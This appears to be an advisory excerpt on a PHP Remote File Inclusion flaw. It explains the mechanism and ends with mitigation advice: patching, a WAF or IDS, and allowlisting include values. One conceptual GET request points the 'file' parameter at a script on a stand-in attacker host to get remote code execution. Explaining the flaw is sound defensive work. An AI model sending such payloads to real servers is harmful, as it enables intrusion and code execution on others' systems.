How the Exploit Works
The PHP Remote File Inclusion vulnerability occurs when the platform fails to sufficiently sanitize user-supplied input. An attacker can manipulate the ‘include’ or ‘require’ statements in PHP, which are used to insert the content of one PHP file into another. By supplying a malicious filename, an attacker can command the vulnerable script to include a remote file hosted on an attacker-controlled server, thus leading to arbitrary code execution on the target server.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
GET /vulnerable_page.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn the example above, the attacker modifies the ‘file’ parameter in the URL to point to a malicious PHP script hosted on their own server (attacker.com). When the server processes this request, it includes the malicious script, leading to arbitrary code execution.
Mitigation Guidance
The most effective mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or alert on suspicious activity can serve as a temporary mitigation. Additionally, it is advisable to restrict the input of ‘include’ or ‘require’ statements to a list of safe, predefined values, rather than allowing user-supplied input.
